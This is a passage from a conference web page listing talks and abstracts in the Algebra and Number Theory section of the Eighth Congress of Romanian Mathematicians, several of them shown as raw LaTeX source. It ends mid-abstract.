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"The Eighth Congress of Romanian Mathematicians",
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"",
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"",
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"General Information Organizing Committee Sections and Scientific Committees Local Organizing Board Registration and Fee Accommodation Travel Participants List of Communications Talks Posters Programme Announcement Past editions Satellite conferences Sponsors News",
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"Admin Area",
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"List of talks\n\nI. Algebra and Number Theory\n\nII. Algebraic, Complex and Differential Geometry and Topology\n\nIII. Real and Complex Analysis, Potential Theory\n\nIV. Ordinary and Partial Differential Equations, Variational Methods, Optimal Control\n\nSpecial session: Optimization and Games Theory\n\nV. Functional Analysis, Operator Theory and Operator Algebras, Mathematical Physics\n\nSpecial session: Spectral Theory and Applications in Mathematical Physics\n\nSpecial session: Dynamical Systems and Ergodic Theory\n\nVI. Probability, Stochastic Analysis, and Mathematical Statistics\n\nVII. Mechanics, Numerical Analysis, Mathematical Models in Sciences\n\nSpecial session: Mathematical Modeling of Some Medical and Biological Processes\n\nSpecial session: Mathematical Models in Astronomy\n\nVIII. Theoretical Computer Science, Operations Research and Mathematical Programming\n\nSpecial session: Logic in Computer Science\n\nIX. History and Philosophy of Mathematics\n\nAlgebra and Number Theory\n\n(this list is in updating process)\n\n1.\nAGORE Ana\nVrije Universiteit Brussel, Belgium\nTitle: Jacobi and Poisson algebras (details)\nAbstract:\nJacobi/Poisson algebras are algebraic counterparts of Jacobi/Poisson manifolds. We introduce representations of a Jacobi algebra $A$ and Frobenius Jacobi algebras as symmetric objects in the category. A characterization theorem for Frobenius Jacobi algebras is given in terms of integrals on Jacobi algebras. For a vector space $V$ a non-abelian cohomological type object ${mathcal J}{mathcal H}^{2} , (V, , A)$ is constructed: it classifies all Jacobi algebras containing $A$ as a subalgebra of codimension equal to ${rm dim} (V)$. Representations of $A$ are used in order to give the decomposition of ${mathcal J}{mathcal H}^{2} , (V, , A)$ as a coproduct over all Jacobi $A$-module structures on $V$. The bicrossed product $P bowtie Q$ of two Poisson algebras recently introduced by Ni and Bai appears as a special case of our construction. A new type of deformations of a given Poisson algebra $Q$ is introduced and a cohomological type object $mathcal{H}mathcal{A}^{2} bigl(P,, Q ~|~ (triangleleft, , triangleright, , leftharpoonup, , rightharpoonup)bigl)$ is explicitly constructed as a classifying set for the bicrossed descent problem for extensions of Poisson algebras. Several examples and applications are provided.\n2.\nANTON Marian\nCCSU and IMAR, USA and Romania\nTitle: From class field to arithmetic group cohomology (details)\nAbstract:\nThere are a few known examples of arithmetic groups for which the mod p cohomology is a free module over the ring of Chern classes. A. D. Rahm and M. Wendt have recently conjectured that this property is true for a class of arithmetic groups if the rank of the group is smaller than p and each cohomology class is detected on some finite subgroup. In this talk we present a preliminary report on the current status of their conjecture.\n3.\n\"Simion Stoilow\" Institute of Mathematics of Romanian Academy, and University Politehnica of Bucharest, Romania\nTitle: When Hopf monads are Frobenius (details)\nAbstract:\nUnder suitable exactness assumptions, a Hopf monad $T$ on a monoidal category $\\C$ having as right adjoint a Hopf comonad $G$ is shown to be also a Frobenius monad, if $T\\I$ and $G\\I$ are isomorphic (right) Hopf $T$-modules (in particular, $T\\I$ is a Frobenius algebra), where $\\I$ denotes the unit object of $\\C$. If additionally the underlying base category is autonomous, then a Hopf monad $T$ becomes also a Frobenius monoidal functor.\n4.\nBONCIOCAT Nicolae Ciprian\nSimion Stoilow Institute of Mathematics of the Romanian Academy, Romania\nTitle: Some applications of the resultant to factorization problems (details)\nAbstract:\nWe present a method to obtain information on the factorization of two polynomials using the canonical decomposition of their resultant. In particular we obtain irreducibility criteria for pairs of polynomials whose resultant is a prime number. As another application we provide irreducibility conditions for polynomials that take a prime value, and for polynomials obtained by expressing prime numbers by quadratic forms. The use of the resultant in the study of linear combinations of relatively prime polynomials is also discussed. Similar results will be provided for multivariate polynomials over an arbitrary field. We will finally give a method to compute the resultant using linear recurrence sequences.\n5.\nBOTNARU Dumitru\nState University from Tiraspol, Moldova\nTitle: The duality (σ,τ) (details)\nAbstract:\n---------------------------------------------------------------- % Article Class (This is a LaTeX2e document) ******************** % ---------------------------------------------------------------- \\documentclass[12pt]{article} \\usepackage[english]{babel} \\usepackage{amsmath,amsthm} \\usepackage{amsfonts} % THEOREMS ------------------------------------------------------- \\newtheorem{thm}{Theorem}[section] \\newtheorem{cor}[thm]{Corollary} \\newtheorem{lem}[thm]{Lemma} \\newtheorem{prop}[thm]{Proposition} \\theoremstyle{definition} \\newtheorem{defn}[thm]{Definition} \\theoremstyle{remark} \\newtheorem{rem}[thm]{Remark} \\numberwithin{equation}{section} % ---------------------------------------------------------------- \\begin{document} \\begin{center} \\textbf{The duality $(\\sigma,\\tau)$ } \\href{ }{} Botnaru D. State University from Tiraspol [email protected] \\end{center} %\\address{}% %\\thanks{}% %\\date{}% % ---------------------------------------------------------------- %\\begin{abstract} In the category $\\mathcal{C}_{2}\\mathcal{V}$ of the locally convex topological vector Hausdorff spaces we denote by $\\mathcal{B}$ the class of bijective morphisms $b:(E,u)\\longrightarrow(F,v)$ for which $(E,u)\\prime=(F,v)\\prime$ and $\\mathbb{R}_{\\varepsilon}^{\\varepsilon}(\\mathcal{S})$ the class of all reflective subcategories $\\mathcal{R}$ is closed under $\\mathcal{B}$-subobjects and $\\mathcal{B}$-factorobjects. Let $\\mathcal{S}$ be the subcategory of the spaces with weak topology, $\\Gamma_{0}$ - the subcategory of locally complete spaces, and $\\mathbb{R}$ the lattice of all nonzero reflective subcategories. \\textbf{Theorem 1.} For any element $\\mathcal{R}\\in\\mathbb{R}_{\\varepsilon}^{\\varepsilon}(\\mathcal{S})$ there is an element $\\Gamma\\in\\mathbb{R}$ so that $\\Gamma_{0}\\subset\\Gamma$ and $\\mathcal{R}=\\mathcal{S}\\ast_{sr}\\Gamma_{0}$, where $\\mathcal{S}\\ast_{sr}\\Gamma_{0}$ is the semireflexive product of the elements $\\mathcal{S}$ and $\\Gamma$ (see . For any morphism $f:(E,u)\\longrightarrow(F,v)$ we take in correspondence the morphism $f\\prime:F_{\\tau}\\prime \\longrightarrow E_{\\tau}$, where the dual spaces possess the Mackey topology. There was defined a contravariant functor $d_{\\tau}:\\mathcal{C}_{2}\\mathcal{V}\\longrightarrow \\mathcal{C}_{2}\\mathcal{V}$. \\textbf{Theorem 2.} The functor $d_{\\tau}$ is right exact and transfers the products into sums. Denote by $\\widetilde{\\mathcal{M}}$ the coreflective subcategory of the spaces with Mackey topology, $\\mathbb{K}(\\widetilde{\\mathcal{M}})$ the class of the coreflective subcategories that is contained in the $\\widetilde{\\mathcal{M}}$ subcategory. For any $\\mathcal{A}\\subset\\mathcal{C}_{2}\\mathcal{V}$ subcategory we denote by $\\delta(\\mathcal{A})$ the full subcategory from $\\mathcal{C}_{2}\\mathcal{V}$ defined on the class of object $\\{d_{\\tau}(X)\\mid X\\in\\mid\\mathcal{A}\\mid\\}$. If $\\mathcal{A}\\in\\mathbb{K}(\\widetilde{\\mathcal{M}})$ denote by $\\delta^{-1}(\\mathcal{A})$ the full subcategory from $\\mathcal{C}_{2}\\mathcal{V}$ defined by the class of objects $\\{X\\in\\mid\\mathcal{C}_{2}\\mathcal{V}\\mid, d_{\\tau}(X)\\in\\mid\\mathcal{A}\\mid\\}$. \\textbf{Theorem 3.} 1. If $\\mathcal{R}\\in\\mathbb{R}$, then $\\delta(\\mathcal{R})\\in \\mathbb{K}(\\widetilde{\\mathcal{M}})$. 2. If} $\\mathcal{A}\\in\\mathbb{K}(\\widetilde{\\mathcal{M}})$, then $\\delta^{-1}(\\mathcal{A})\\in \\mathbb{R}_{\\varepsilon}^{\\varepsilon}(\\mathcal{S})$. 3. Let $\\mathcal{C}\\subset\\mathcal{R}$ and $\\mathcal{R}\\in\\mathbb{R}$. Then $\\delta(\\mathcal{R})=\\widetilde{\\mathcal{M}}$. 4. Let $\\mathcal{R}\\in\\mathbb{R}$. Then $\\widetilde{\\mathcal{M}}\\ast_{d}\\mathcal{R}=\\delta^{-1}\\delta(\\mathcal{R})$, where $\\widetilde{\\mathcal{M}}\\ast_{d}\\mathcal{R}$ is the right product of the $\\widetilde{\\mathcal{M}}$ and $\\mathcal{R}$ elements (see ). 5. Let $\\mathcal{R}\\in\\mathbb{R}$. Then $\\delta^{-1}\\delta(\\mathcal{R})$ is the first element of the class $\\mathbb{R}_{\\varepsilon}^{\\varepsilon}(\\mathcal{S})$ that contains the $\\mathcal{R}$ element . 6. The maple $\\delta$ sets an isomorphism of the $\\mathbb{R}_{\\varepsilon}^{\\varepsilon}(\\mathcal{S})$ and $\\mathbb{K}(\\widetilde{\\mathcal{M}}) - \\delta:\\mathbb{R}_{\\varepsilon}^{\\varepsilon}(\\mathcal{S})\\longrightarrow \\mathbb{K}(\\widetilde{\\mathcal{M}})$ lattices. 7. The lattices $\\mathbb{R}_{\\varepsilon}^{\\varepsilon}(\\mathcal{S})$ and $\\mathbb{\\widetilde{\\mathcal{M}}}$ contains a proper class of elements. \\textbf{Bibliography} 1. Botnaru D., Cerbu O., \\textit{Semireflexive product of two subcategories}, Proc. of the $6^{th}$ Congress of Romanian Math., Bucharest, 2007, v.1, p. 5-19. 2. Botnaru D., Turcanu A., \\textit{ The factorization of the right product of two subcategories}, ROMAI J., 2010, v.VI, Nr.2, p. 41-53. \\end{document} % ----------------------------------------------------------------\n6.\nBREAZ Simion\nBabes-Bolyai University, Romania\nTitle: Pure semisimple rings and direct products (details)\nAbstract:\nWe present some characterizations for pure-semisimple rings which involve direct products of modules. One of them depends on the (non-)existence of some large cardinals: Let R be a ring and let W be the direct sum of all finitely presented right R-modules. Under the set theoretic hypothesis (V = L), the ring R is right pure semisimple if and only if there exists a cardinal $lambda$ such that $mathrm{Add}(W)subseteq mathrm{Prod}(W^{(lambda)})$. Moreover, there is a set theoretic model such that for every ring R there exists a cardinal $lambda$ such that $mathrm{Add}(W)subseteq mathrm{Prod}(W^{(lambda)})$. On the other side, we will see that a left pure-semisimple ring R is of finite representation type (i.e. it is right pure-semisimple) if and only if for every finitely presented left R-module M the right R-module $mathrm{Hom}_{mathbb{Z}}(M, mathbb{Q}/Z)$ is Mittag-Leffler.\n7.\nBULACU Daniel\nUniversity of Bucharest, Romania\nTitle: Frobenius and separable functors for the category of generalized entwined modules (details)\nAbstract:\nThe explicit structure of a cowreath in a monoidal category $\\mathcal{C}$ leads to the notion of generalized entwined module in a $\\mathcal{C}$-category. A cowreath can be identified with a coalgebra $X$ in the Eilenberg-Moore category $EM(\\mathcal{C})(A)$, for some algebra $A$ in $\\mathcal{C}$, and the Frobenius or separable property of the forgetful functor from the category of generalized entwined modules to the category of representations over $A$ is transferred to the coalgebra $X$ and vice-versa.\n8.\nBURCIU Sebastian\n\"Simion Stoilow\" Institute of Mathematics of Romanian Academy, Romania\nTitle: On the irreducible representations of Drinfeld doubles (details)\nAbstract:\nA description of all the irreducible representations of generalized quantum doubles associated to skew pairings of semisimple Hopf algebras is given. In particular, a description of the irreducible representations of semisimple Drinfeld doubles is obtained in this way. We also give a formula for the tensor product of any two such irreducible representations. Using this formula new information on the structure of the Grothendieck rings of these generalized quantum doubles is obtained.\n9.\nCAENEPEEL Stefaan\nVrije Universiteit Brussel, VUB, Belgium\nTitle: Hopf Categories (details)\nAbstract:\nWe introduce Hopf categories enriched over braided monoidal categories. The notion is linked to several recently developed notions in Hopf algebra theory, such as Hopf group (co)algebras, weak Hopf algebras and duoidal categories. We generalize the fundamental theorem for Hopf modules and some of its applications to Hopf categories.\n10.\nCERBU Olga\nMoldova State University, Moldova\nTitle: About B-inductive semireflexive spaces (details)\nAbstract:\nAbout B-inductive semireflexive spaces ---------------------------------------------------------------- % Article Class (This is a LaTeX2e document) ******************** % ---------------------------------------------------------------- \\documentclass[12pt]{article} \\usepackage[english]{babel} \\usepackage{amsmath,amsthm} \\usepackage{amsfonts} % THEOREMS ------------------------------------------------------- \\newtheorem{thm}{Theorem}[section] \\newtheorem{cor}[thm]{Corollary} \\newtheorem{lem}[thm]{Lemma} \\newtheorem{prop}[thm]{Proposition} \\theoremstyle{definition} \\newtheorem{defn}[thm]{Definition} \\theoremstyle{remark} \\newtheorem{rem}[thm]{Remark} \\numberwithin{equation}{section} % ---------------------------------------------------------------- \\begin{document} \\begin{center} \\textbf{About $\\mathcal{B}$-inductive semireflexive spaces } \\href{ }{} Botnaru D., Cerbu O., \\c{T}urcanu A. State University from Tiraspol, State University of Moldova % Technical University from Moldova [email protected], [email protected], [email protected], \\end{center} %\\address{}% %\\thanks{}% %\\date{}% % ---------------------------------------------------------------- %\\begin{abstract} Let $\\mathcal{C}_{2}\\mathcal{V}$ be the category of the locally convex topological vector Hausdorff spaces. We denote by $\\widetilde{\\mathcal{M}}$ the subcategory of the spaces with Mackey topology, $\\mathcal{N}orm$ - the subcategory of normed spaces, $\\Gamma_{0}$ - the subcategory of complete spaces, $l\\Gamma_{0}$ - the subcategory of locally complete spaces (D. Ra\\\"{i}cov) or $b$-complete (W. Slovikovski), and $\\mathcal{S}$ - the subcategory of the spaces with weak topology. For an object $(E,t)$ the absolute convex and bounded set ${A}$ is defined as a Banach sphere, if the normed space $(E_{A},n_{A})$ is the Banach space, where $E_{A}$ is the linear coverage of the set ${A}$, and $n_{A}$ - the Minkowski functional of the set ${A}$. We denote with $\\mathcal{B }$ the set of all Banach spheres in the space $E^{\\prime}_{\\beta}$ ($\\beta$ - the topology of the uniform convergence on all the bounded sets from $(E,t)$). The inductive topology $j(t)$ on $E^{\\prime}$ is defined as the most fine locally convex topology for which the following applications $j_{A}:(E^{\\prime}_{A},n_{A})\\longrightarrow(E^{\\prime},j(t))$ are continuous, $A\\in\\mathcal{B}$. \\textbf{Definition} (V. Sekevanov ). The space $(E,t)$ is called semireflexive $\\mathcal{B}$ - inductive if $(E^{\\prime},j(t))\\prime=E$. Let $i\\mathcal{R}$ be the subcategory of the semireflexive inductive spaces , and $\\mathcal{B}-i\\mathcal{R}$ - of the semireflexive $\\mathcal{B}$-inductive spaces. Then $i\\mathcal{R}\\subset \\mathcal{B}-i\\mathcal{R}$ (V. Sekevanov). We denote $\\mathcal{A}$ the class of all bijective morphisms $b:(E,u)\\longrightarrow(F,v)\\in\\mathcal{C}_{2}\\mathcal{V}$ for which $(E,u)\\prime=(F,v)\\prime$. For a subcategory $\\mathcal{C}\\subset\\mathcal{C}_{2}\\mathcal{V}$ we denote by $Q_{A}(\\mathcal{C})$ the subcategory $\\mathcal{A}$-factorobjects of the objects from $\\mathcal{C}$. \\textbf{Theorem 1.} Let be $\\mathcal{L}$ and $\\Gamma$ two reflective subcategories $\\mathcal{S}\\subset \\mathcal{L}$, $\\Gamma_{0}\\subset\\Gamma$. Further let be $\\mathcal{R}$ the semireflexive product of the subcategories $\\mathcal{L}$ and $\\Gamma$: $\\mathcal{R}=\\mathcal{L}\\ast_{sr}\\Gamma$ . Then: 1. $Q_{\\mathcal{A}}(\\widetilde{\\mathcal{M}}\\cap \\mathcal{R})$ is a reflective subcategory.\\\\ 2. $\\mathcal{R}\\subset Q_{\\mathcal{A}}(\\widetilde{\\mathcal{M}}\\cap \\mathcal{R})$. 3. The subcategory $Q_{\\mathcal{A}}(\\widetilde{\\mathcal{M}}\\cap \\mathcal{R})$ is closed under the $\\mathcal{A}$-subobjects and $\\mathcal{A}$-factorobjects. \\textbf{Theorem 2.} 1. $\\mathcal{B}-i\\mathcal{R}=Q_{\\mathcal{A}}(\\widetilde{\\mathcal{M}}\\cap i\\mathcal{R})$. 2. $l\\Gamma_{0}=Q_{\\mathcal{A}}(\\widetilde{\\mathcal{M}}\\cap \\Gamma_{0})=Q_{\\mathcal{A}}(\\mathcal{N}orm)$. %\\end{abstract} %\\maketitle % ---------------------------------------------------------------- %\\section{} %\\vspace(0.2cm) \\textbf{Bibliography} 1.Berezanschi I.A., \\textit{The inductive reflexive locally convex spaces}, DAN SSSR,1968, T.182, Nr.1, p.20-22. 2.Botnaru D., Cerbu O., \\textit{Semireflexive product of two subcategories}, Proc. of the Sixth Congress of Romanian Math., Bucharest, 2007, v.1, p.5-19. \\end{document} % ----------------------------------------------------------------\n11.\nCHINDRIS Calin\nUniversity of Missouri-Columbia, United States\nTitle: On the invariant theory of string algebras (details)\nAbstract:\nThis talk is based on joint work with Andy Carroll. It is about studying the module category of a finite-dimensional algebra within the general framework of invariant theory. Our objective is to describe the tameness of an algebra in terms of its moduli spaces of modules. Specifically, we will show that for an acyclic string algebra, the irreducible components of any moduli space of modules are just products of projective spaces. Along the way, we will describe a decomposition result for moduli spaces of modules of arbitrary finite-dimensional algebras.\n12.\nCHIS Mihai\nWest University of Timisoara, Romania\nTitle: Some properties of autocommutator subgroups of certain p-groups (details)\nAbstract:\nWe investigate some properties of autocommutator subgroups of certain classes of p-groups.\n13.\nCIMPOEAS Mircea\nI.M.A.R., Romania\nTitle: On intersections of complete intersection ideals (details)\nAbstract:\nWe present a class of complete intersection toric ideals whose intersection is a complete intersection, too.\n14.\nCIPU Mihai\nSimion Stoilow Institute of Mathematics of the Romanian Academy Bucharest, Romania\nTitle: Recent advances in the study of Diophantine quintuples (details)\nAbstract:\nApparently motivated by Heron's formula for triangle area, Diophantus has asked to find sets of numbers with the property that increasing by one the product of any two elements results in a perfect square. Such sets are called nowadays Diophantine or $D(1)$-sets. A lot of work has been prompted by the conjecture (put forward in 1978 by P. E. Gibbs and independently by J. Arkin, V. E. Hoggatt, and E. G. Strauss) that any Diophantine triple has a unique extension to a Diophantine quadruple. Clearly, this implies a weaker conjecture, predicting that there exists no Diophantine quintuple. The talk will contain a survey of very recent ideas and results, many of them still unpublished, which bring us closer to solution of these problems. Several results are obtained in common with A. Filipin (Croatia), Y. Fujita (Japonia), M. Mignotte (Franta), T. Trudgian (Australia).\n15.\nCOBELI Cristian\n\"Simion Stoilow\" Institute of Mathematics of the Romanian Academy, Romania\nTitle: On the Dew Line in Circle Packings (details)\nAbstract:\nLet $A$ be a fixed arc of a selected circle in a circle packings $\\mathcal{P}$. The \\textit{dew line} associated to $A$ is a curve $D_A(h)$, which is parallel to $A$ and lies at a distance $h> 0$ away from $A$, on the same side with the other circles of $\\mathcal{P}$. % Denote by $\\mathcal{C}_A$ the set of circles in $\\mathcal{P}$ that are tangent to A and let $P_A(h)$ be the probability that a point on the dew line $D_A(h)$ is inside a circle of $\\mathcal{C}_A$. % We present a few problems and results concerning the following questions: \\textit{Is there a limit probability $\\lim\\limits_{h\\to 0}P_A(h)$? If the answer is positive, does this limit depends on the arc and on the packing?}\n16.\nCOCONET Tiberiu\nUBB, Romania\nTitle: Module covers and the Green correspondence (details)\nAbstract:\nThe Green correspondence can be expressed as an equivalence between certain quotient categories of modules over group algebras. M.E. Harris combined this categorical version with the Nagao-Green theorem on block induction, obtaining a version with blocks of the mentioned equivalence. We investigate this approach with respect to module covers and block covers and discover more general results that imply well-known correspondences.\n17.\nCOJOCARU Alina Carmen\nUniversity of Illinois at Chicago, Institutul de Matematica al Academiei Romane, USA, Romania\nTitle: Arithmetic properties of the Frobenius traces of an abelian variety (details)\nAbstract:\nGiven an abelian variety A/Q, with a trivial endomorphism ring (over the algebraic closure of Q), we investigate the arithmetic properties of the coefficients of the p-Weil polynomials of A, as p varies.\n18.\nCOJUHARI Elena\nTechnical University of Moldova, Republic of Moldova\nTitle: Skew ring extensions and generalized monoid rings (details)\nAbstract:\nGiven a ring $A$ with identity and a multiplicative monoid $G$, a $D$-structure is defined as a collection $sigma$ of self-mappings of $A$ indexed by elements of $G$ satisfying certain demanding but quite natural conditions [1, 2]. $D$-structures are used to define various skew and also twisted monoid rings which in turn being confined in a general construction of a ring $A langle G, sigma rangle$ named as a generalized monoid ring (e.g. ). Weyl algebras, skew polynomial rings and others related to them become special concrete realizations of such monoid rings. Among many others we examine the relationships between generalized monoid rings, especially skew monoid rings, and normalizing and subnormalizing extensions. Relations between the existence of a $D$-structure and gradability of the ring by a cyclic group are also studied. The talk is based on joint work with Barry J. Gardner. begin{thebibliography}{99} bibitem{1} Cojuhari E.P., Gardner B.J. textit{ Generalized Higher Derivations}, Bull. Aust. Math. Soc. 86, no. 2 (2012), 266-281. bibitem{2} Cojuhari E.P. textit{ Monoid algebras over non-commutative rings,} Int. Electron. J. Algebra, 2 (2007), 28-53. bibitem{3} Cohn P.M. {em Free rings and their relations.} London Mathematical Society Monographs, No. 2. Academic Press, London-New York, 1971, 346 pp. end{thebibliography}\n19.\n\"Simion Stoilow\" Institute of Mathematics of the Romanian Academy, Bucharest, Romania\nTitle: Towards longer-range topological properties for finite generation of subalgebras (details)\nAbstract:\n\\documentstyle{amsart} \\begin{document} Let $A$ be a reduced subalgebra of an algebra $A'$ of finite type over a field $k$. The problem of the finite generation of $A$ is a restatement of the renowned 14-th Hilbert Problem, representing an interplay of Algebra with Geometry and Topology. According to some author's results, there exists a complete topological control about the finite generation of such a subalgebra $A$ when $k = \\mathbb C$, as well when $k$ is arbitrary and $A$ is Noetherian. Passing to the associated geometric objects $X^{*} = Spec A$, resp. $X = Spec A'$ (), we have a canonical dominant morphism $f: X \\rightarrow X^{*}$ of affine $k$-schemes with $X$ an algebraic $k$-variety and then we are naturally guided to the more general situation of a similar dominant morphism $f: X \\rightarrow X^{*}$ of arbitrary ( not necessarily affine ) $k$-schemes. The problem of the algebraization of the $k$-scheme $X^*$ ( i.e. $X^*$ to be exactly an algebraic $k$-variety ) is close related to the \"good'' topological properties of the $k$-schemes morphism $f$. In this talk we review a class of such topological properties and center on a possible new situation, suggested by the central Hilbert-Mumford-Nagata Theorem of the Invariant Theory (), as by a topological result due to Prof. M.Ciobanu : namely the case when $f$ is a universally topological quotient morphism. \\smallskip References \\smallskip 1. A. Constantinescu, {\\it Schemes dominated by algebraic varieties and some classes of scheme morphisms.I.II,III}: I, Acta Univ. Apulensis, Math.-Info., {\\bf 16}\\,(2008), 37 - 51; II, Preprint Ser. in Math., IMAR, Bucharest, ISSN 0250 - 3638, {\\bf 8}\\,(2010), 36 p. ; III, to appear 2. A. Grothendieck, {\\it Elements de geometrie algebrique. I,II}, Publ. Math. IHES, {\\bf 4}\\,(1960); {\\bf 8}\\,(1961). 3. D. Mumford, {\\it Geometric Invariant Theory}, Springer, 1965. \\end{document}\n20.\nCONSTANTINESCU Alexandru\nFreie Universitaet Berlin, Germany\nTitle: Castelnuovo-Mumford regularity and triangulations of manifolds (details)\nAbstract:\nWe show that for every positive integer r there exist monomial ideals generated in degree two, with linear syzygies, and regularity of the quotient equal to r. For Gorenstein ideals we prove that the regularity of their quotients can not exceed four, thus showing that for d > 4 every triangulation of a d-manifold has a hollow square or simplex. We also show that for most monomial ideals generated in degree two and with linear syzygies the regularity is O(log(log(n)), where n is the number of variables.\n21.\nDEACONESCU Marian\nKuwait University, Kuwait\nTitle: OPERATOR THEORY FOR FINITE GROUPS (details)\nAbstract:\nMy talk will present a handful of recent results obtained jointly with G.L. Walls. These results are quite general since they are related to the following situation: an arbitrary finite group $G$ is operated (acted) upon by an arbitrary finite group $A$. In older terminology, $A$ is \" a group of operators of $G$\". The newer terminology is that $A$ \" acts on $G$ via automorphisms\". This kind of an action, as general as it is (no other conditions are imposed here) comes with a set of \"invariants\" attached to it. The first is the subgroup $F$ of all of the fixed points of $A$ in $G$. The second is the \"autocommutator subgroup\" $[G, A]$, which is the subgroup of $G$ generated by the elements $g^{-1}g^{\\alpha}$ for $g\\in G, \\alpha \\in A$. Finally, the orbits of the elements in $G$ under the action of $A$ are also of interest. \\bigskip Particular cases are important, of course; we where able to solve, among other things, the old well-known problem of characterizing (via a simple, compact, alternative group-theoretical condition) those finite groups whose automorphism group is abelian. The first example of a finite non-abelian group $G$ whose group $Aut(G)$ of automorphisms is abelian was given by G.A. Miller in 1913. Infinitely many more examples were produced since. \\bigskip Whenever the subgroup $F$ is nontrivial it turns out that the sequence of the lengths of the orbits of $A$ in $G$ behaves in a very orderly manner. In particular, it is true that if $p$ is a prime dividing the order of $F$, then the number of orbits of $A$ in $G$ whose length is co-prime to $p$ must be a multiple of $p$. \\bigskip When $H$ is an $A$-invariant subgroup of $G$, then we can determine the number of pairs $(g, \\alpha)$ with $g\\in G$ and $\\alpha \\in A$ such that $g^{-1}g^{\\alpha}\\in H$. This is a far reaching extension of a classic result of Frobenius (who determined this number when $A=G$ acts on $G$ via conjugation and when $H=1$ is the trivial subgroup of $G$) and it has several important consequences.\n22.\nUNIVERSITY OF MINNESOTA, USA\nTitle: Non-vanishing of quadratic twists of automorphic L-functions (details)\nAbstract:\nIn this talk, I will discuss a novel approach in understanding the important problem of the non-vanishing of some of the quadratic twists of an L-function attached to a fixed cuspidal automorphic representation on GL(n).\n23.\nENE Viviana\nUniversitatea Ovidius din Constanta, Romania\nTitle: Ideals of 2-minors (details)\nAbstract:\nIn this talk we survey recent results on binomial edge ideals defined on generic (Hankel) matrices. Given a simple graph $G$ on the vertex set $[n],$ one may associate with it a binomial ideal $J_G$ in the polynomial ring $K[X]$ over a field $K,$ where $X= \\left( \\begin{array}{llll} x_1 & x_2 &\\ldots& x_n\\\\ y_1 & y_2 &\\ldots& y_n \\end{array}\\right).$ The ideal $J_G$ is generated by maximal minors of $X,$ $f_{ij}=x_iy_j-x_jy_i$ with $\\{i,j\\}$ edge of $G,$ and is called the {\\em binomial edge ideal} of $G.$ Later on, the notion of binomial edge ideal was generalized to a pair of graphs. The interest in studying (generalized) binomial edge ideals partially comes from the fact that they turned out to have applications in statistics. In our talk, we discuss various algebraic and homological properties of binomial edge ideals. Similar constructions can be done by considering binomial edge ideals on Hankel matrices associated with (pairs of) graphs. They generalize the well known defining ideals of rational normal curves. We mainly focus on some recent results obtained in joint papers with F. Chaudhry, A. Dokuyucu, J. Herzog, T. Hibi, A. Qureshi, A. Zarojanu.\n24.\nENESCU Florian\nGeorgia State University, United States\nTitle: The Frobenius complexity of a local ring (details)\nAbstract:\nThe talk will outline the notion of Frobenius complexity of a local ring of prime characteristic and discuss various examples. This is joint work with Yongwei Yao.\n25.\nGROZA Ghiocel\nTechnical University of Civil Engineering Bucharest, Romania\nTitle: On the analytic functions with p-adic coefficients (details)\nAbstract:\n\\begin{document} \\title{On the analytic functions with $p$-adic coefficients} \\author{Ghiocel Groza} \\date{} \\maketitle \\begin{center} \\noindent {\\it Technical University of Civil Engineering Bucharest, \\\\ Romania, E-mail: [email protected]}\\\\ \\end{center} \\indent Let $p$ be a fixed prime and $|\\;|$ the normalized $p$-adic absolute value defined on $\\mathbb{Q}$, that is $|p|=\\frac{1}{p}$. If $R$ is a positive real number and ${\\mathbb Q}_p$ is the completion of ${\\mathbb Q}$ with respect to $|\\;|$, we denote by $B(R)=\\{x\\in \\mathbb{Q}_p:|x|\\le R\\}$ and $S(R)=\\{x\\in \\mathbb{Q}_p:|x|=R\\}$ the ball with circumference and the sphere, with center $0$ and radius $R$, respectively. \\\\ \\indent For a fixed non-negative integer $t$ let \\begin{equation}\\label{eq1} f=\\sum\\limits_{i=0}^{\\infty}{c_i X^i},\\;c_i\\in \\mathbb{Q}_p, \\end{equation} be a convergent series on $B(p^{-t})$. We study the analytic functions of the form (\\ref{eq1}) which define a mapping from $S(p^{-t})$ into $S(1)$. Hence we get a result concerning entire functions with $p$-adic coefficients which are bounded on ${\\mathbb Q}_p$. Finally we study infinite interpolation by means of entire functions with $p$-adic coefficients. \\end{document}\n26.\nIACOB Alina\nGeorgia Southern University, USA\nTitle: Gorenstein projective precovers (details)\nAbstract:\nWe consider a right coherent and left n-perfect ring R. We prove that the class of Gorenstein projective complexes is special precovering in the category of unbounded complexes, Ch(R). As a corollary, we show that the class of Gorenstein projective modules is special precovering over such a ring. This is joint work with Sergio Estrada and Sinem Odabasi.\n27.\nICHIM Bogdan\nSimion Stoilow Institute of Mathematics, Romania\nTitle: How to compute the Stanley depth of a module (details)\nAbstract:\nWe introduce an algorithm for computing the Stanley depth of a finitely generated multigraded module $M$ over the polynomial ring $K[X_1,ldots,X_n]$. As an application, we give an example of a module whose Stanley depth is strictly greater than the depth of its syzygy module. In particular, we obtain complete answers for two open questions raised by Herzog.\n28.\nJONES Nathan\nUniversity of Illinois at Chicago, USA\nTitle: The distribution of class groups of imaginary quadratic fields (details)\nAbstract:\nWhich abelian groups occur as the class group of some imaginary quadratic field? Inspecting tables of M. Watkins on imaginary quadratic fields of class number up to 100, one finds that some abelian groups do not occur as the class group of any imaginary quadratic field (for instance (Z/3Z)^3 does not). In this talk, I will combine heuristics of Cohen-Lenstra together with a refinement of a conjecture of Soundararajan to make precise predictions about the asymptotic distribution of imaginary quadratic class groups, partially addressing the above question. I will also present some numerical evidence of the resulting conjectures.\n29.\nLENART Cristian\nState University of New York at Albany, USA\nTitle: A combinatorial model for Kirillov-Reshetikhin crystals and applications (details)\nAbstract:\nCrystals are colored directed graphs encoding information about Lie algebra representations. Kirillov-Reshetikhin (KR) crystals correspond to certain finite-dimensional representations of affine Lie algebras. I will present a combinatorial model which realizes tensor products of (column shape) KR crystals uniformly across untwisted affine types. Some computational applications are discussed. A corollary states that the Macdonald polynomials (which generalize the irreducible characters of semisimple Lie algebras), upon a certain specialization, coincide with the graded characters of tensor products of KR modules.\n30.\nMILITARU Gigel\nUniversitatea din Bucuresti, Romania\nTitle: The factorization problem and related questions (details)\nAbstract:\nLet $A leq G$ be a subgroup of a group $G$. An $A$-complement of $G$ is a subgroup $H$ of $G$ such that $G = A H$ and $A cap H = { 1}$. The emph{classifying complements problem} asks for the description and classification of all $A$-complements of $G$. We shall give the answer to this problem in three steps. Let $H$ be a given $A$-complement of $G$ and $(triangleright, triangleleft)$ the canonical left/right actions associated to the factorization $G = A H$. To start with, $H$ is deformed to a new $A$-complement of $G$, denoted by $H_r$, using a certain map $r: H to A$ called a deformation map of the matched pair $(A, H, triangleright, triangleleft)$. Then the description of all complements is given: ${mathbb H}$ is an $A$-complement of $G$ if and only if ${mathbb H}$ is isomorphic to $H_{r}$, for some 